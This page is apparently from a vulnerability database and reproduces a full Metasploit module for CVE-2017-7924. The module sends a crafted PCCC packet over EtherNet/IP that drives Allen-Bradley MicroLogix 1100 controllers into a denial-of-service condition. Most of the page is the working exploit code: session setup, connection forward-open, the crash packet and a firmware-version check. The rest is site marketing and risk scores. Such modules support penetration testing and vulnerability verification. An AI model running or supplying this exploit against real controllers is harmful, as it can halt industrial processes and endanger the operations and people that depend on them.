Lucene search
K

DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)

A remote attacker could trigger a DoS condition in Allen-Bradley's Legacy Protocol (PCCC) by sending a specially crafted packet to affected MicroLogix 1100 controllers

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(
      'Name'           => "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)",
      'Description'    => %q{
        A remote, unauthenticated attacker could send a single, specially crafted
        Programmable Controller Communication Commands (PCCC) packet to the controller
        that could potentially cause the controller to enter a DoS condition.
        MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and
        1763-L16DWD.
        CVE-2017-7924 has been assigned to this vulnerability.
        A CVSS v3 base score of 7.5 has been assigned.
      },
        'Author'         => [
          'José Diogo Monteiro <jdlopes[at]student.dei.uc.pt>',
          'Luis Rosa <lmrosa[at]dei.uc.pt>',
          'Miguel Borges de Freitas <miguelbf[at]dei.uc.pt>'
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
      [
        [ 'CVE', '2017-7924' ],
        [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-17-138-03' ],
        [ 'URL', 'http://web.archive.org/web/20250116210051/https://dl.acm.org/doi/10.1145/3174776.3174780']
      ])
      register_options([Opt::RPORT(44818),])
  end

  VULN_LIST = ['1763-L16BWA','1763-L16AWA','1763-L16BBB','1763-L16DWD']
  VULN_FW_VERSION_MIN = 14.00
  VULN_FW_VERSION_MAX = 16.00
  def le_pp(s)
    "0x#{Rex::Text.to_hex(s, prefix="").scan(/../).reverse.join("")}"
  end

  def enip_register_session_pkt
    # ENIP encapsulation Header
    "\x65\x00" + # Command register session (0x0065)
    "\x04\x00" + # Length (4)
    "\x00\x00\x00\x00" + # Session handle (0x00000000)
    "\x00\x00\x00\x00" + # Status success (0x00000000)
    "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000)
    "\x00\x00\x00\x00" + # Options (0x00000000)
    # Protocol Specific Data
    "\x01\x00" + # Protocol version (1)
    "\x00\x00" # Option flags (0x00000000)
  end

  def enip_ccm_forward_open_pkt(enip_session_handle)
    # ENIP encapsulation header
    "\x6f\x00" + # Send RR data (0x006f)
    "\x3e\x00" + # Length (63)
    enip_session_handle + # Session handle (retrieved from register session)
    "\x00\x00\x00\x00" + # Status success (0x00000000)
    "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000)
    "\x00\x00\x00\x00" + # Options (0x00000000)
    # Command specific data
    "\x00\x00\x00\x00" + # Interface handle (CIP = 0x00000000)
    "\x00\x00" + # Timeout (0)
    "\x02\x00" + # Item count (2)
    "\x00\x00" + # Item 1 type id (Null address item)
    "\x00\x00" + # Item 1 length (0)
    "\xb2\x00" + # Item 2 type id (Unconnected data item)
    "\x2e\x00" + # Item 2 length (46)
    # CIP Connection manager specific data
    "\x54\x02\x20\x06\x24\x01\x0a\xf0" +
    "\x00\x00\x00\x00\x52\xac\xda\x89" +
    "\x55\x0c\x35\x01\xe1\x08\xb0\x60" +
    "\x07\x00\x00\x00\x00\x40\x00\x00" +
    "\x12\x43\x00\x40\x00\x00\x12\x43" +
    "\xa3\x02\x20\x02\x24\x01"
  end

  # Any combination of File Number 0x02–0x08 and File Type 0x48 or 0x47 will trigger a Major Error (0x08)
  def pccc_dos_pkt(enip_session_id, cip_connection_id)
    # ENIP encapsulation header
    "\x70\x00" + # Send unit data (0x0070)
    "\x2d\x00" + # Length
    enip_session_id + # ENIP session handle (obtained from enip register session)
    "\x00\x00\x00\x00" + # Status Success
    "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context
    "\x00\x00\x00\x00" + # Options
    # Command Specific data
    "\x00\x00\x00\x00" + # Interface handle (CIP)
    "\x00\x00" + # Timeout (0)
    "\x02\x00" + # Item count
    "\xa1\x00" + # Item 1 - Type ID (Connected address item)
    "\x04\x00" + # Item 1 - Length (4)
    cip_connection_id + # CIP connection ID (obtained from CIP CM packet)
    "\xb1\x00" + # Item 2 - Type ID (Connected data item)
    "\x19\x00" + # Item 2 - Length (25)
    "\x01\x00" + # Item 2 - CIP Sequence Count (1) - first packet
    # PCCC Command data
    "\x4b" + # Execute PCCC (0x4b)
    "\x02\x20\x67\x24\x01" + # no idea what this is
    "\x07" + # Requestor ID length
    "\x35\x01" + # CIP vendor ID
    "\xe1\x08\xb0\x60" + # CIP serial number
    "\x0f" + # Command code
    "\x00" + # Status (success 0x00)
    "\x2a\x58" + # Transaction code
    "\xa2" + # Function code (Protected typed logical read with three address fields)
    "\x00" + # Byte size
    "\x05" + # File number
    "\x47" + # File type
    "\x00" + # Element number
    "\x00" # Sub-element number
  end

  def enip_list_identify_pkt
    "\x63\x00" + # List Identity
    "\x00\x00" + # Length
    "\x00\x00\x00\x00" + # Session Handle
    "\x00\x00\x00\x00" + # Status: Success
    "\x00\x00" + # Max Response Delay
    "\x00\x00\xc1\xde\xbe\xd1" + # Sender Context
    "\x00\x00\x00\x00" # Options
  end


  def check

    connect_udp

    udp_sock.put(enip_list_identify_pkt)
    res = udp_sock.recvfrom(90)

    disconnect_udp

    unless res && res[0].length > 63 && res[0][0,2] == "\x63\x00"
      print_error "EtherNet/IP Packet Not Valid"
      return Exploit::CheckCode::Unsupported
    end

    revision = res[0][54,2]
    product_name_len = res[0][62].unpack("c*")[0]


    product_name = res[0][63,product_name_len]
    print_status "Product Name: #{product_name}"

    array = product_name.split(' ')
    plc_model = array[0]

    return Exploit::CheckCode::Safe unless VULN_LIST.any? { |e| plc_model.include? e }

    firmware = array[1]
    begin
      firmware_nbr = firmware.scan(/(\d+[.,]\d+)/).flatten.first.to_f
      if firmware_nbr >= VULN_FW_VERSION_MIN && firmware_nbr < VULN_FW_VERSION_MAX
        return Exploit::CheckCode::Vulnerable
      elsif firmware_nbr < VULN_FW_VERSION_MIN
        return Exploit::CheckCode::Appears
      else
        return Exploit::CheckCode::Safe
      end
    rescue
      return Exploit::CheckCode::Unknown
    end

  rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
    elog(e)
  ensure
    disconnect
  end

  def run
    connect
    # Register Ethernet/IP session
    sock.put(enip_register_session_pkt)
    enip_register_session_ans = sock.get_once
    unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0,2] == "\x65\x00"
      print_error "Ethernet/IP - Failed to create session."
      disconnect
      return
    end
    enip_session_id = enip_register_session_ans[4, 4]
    print_status "Ethernet/IP - Session created (id #{le_pp(enip_session_id)})"

    # Ethernet/IP CCM Forward Open
    sock.put(enip_ccm_forward_open_pkt(enip_session_id))
    enip_ccm_forward_open_ans = sock.get_once
    unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0,2] == "\x6f\x00"
      print_error "CIP Connection Manager - Failed Forward Open request"
      disconnect
      return
    end
    cip_connection_id = enip_ccm_forward_open_ans[44, 4]
    print_status "CIP Connection Manager - Forward Open Success (Connection id #{le_pp(cip_connection_id)})"

    # PCCC DoS packet
    print_status "Sending PCCC DoS magic packet..."
    sock.put(pccc_dos_pkt(enip_session_id, cip_connection_id))

  rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
    elog(e)
  ensure
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Feb 2025 10:30Current
7.6High risk
Vulners AI Score7.6
CVSS 25
CVSS 37.5
EPSS0.22182
48